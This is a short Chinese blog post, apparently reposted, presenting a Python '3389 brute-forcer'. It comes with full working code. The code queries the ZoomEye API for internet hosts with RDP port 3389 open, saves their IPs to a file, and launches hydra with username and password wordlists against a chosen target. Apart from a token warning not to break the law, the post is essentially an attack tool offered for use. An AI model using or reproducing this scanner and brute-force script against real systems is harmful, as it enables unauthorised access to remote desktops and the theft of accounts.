python 3389爆破机

前言:

 = =上学后的第一个星期假期,写了个3389爆破器

   -

0x01

准备:

hydra

钟馗之眼API

0x02代码:

import optparse
import os
import requests
import time
def mian():
    print('[!]切记不要做违法的事情。否则后果自负')
    usage='[help -s  扫描全网3389]'
    parser=optparse.OptionParser(usage)
    parser.add_option('-s',action='store_true',dest='ji',help='扫描全网3389')
    parser.add_option('-b',dest='bao',help='爆破字典(username)')
    parser.add_option('-p',dest='passs',help='爆破字典(password)')
    parser.add_option('-x',dest='host',help='目标')
    (options,args)=parser.parse_args()
    if options.ji:
        Ji()
    elif options.bao and options.host and options.passs:
        bao=options.bao
        ip=options.host
        passs=options.passs
        Bao(bao,ip,passs)
    else:
        parser.print_help()
        exit()
def Ji():
    for r in range(1,10):
        time.sleep(1)
        g='https://api.zoomeye.org/host/search?query=port:3389&page={}'.format(r)
        headers={"Authorization":"JWT token"}
        r=requests.get(g,headers=headers)
        sd=r.json()
        rsd=sd['matches'][0:]
        for l in rsd:
            print(l['ip'])
            owe=l['ip']
            with open('3389.txt','a') as p:
                p.write(owe+'\n')
def Bao(bao,ip,passs):
    baopo=os.system('hydra.exe -L {} -P {} rdp://{}'.format(bao,passs,ip))
if __name__ == '__main__':
    mian()

  效果图:

 

转载于:https://www.cnblogs.com/haq5201314/p/8503307.html

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值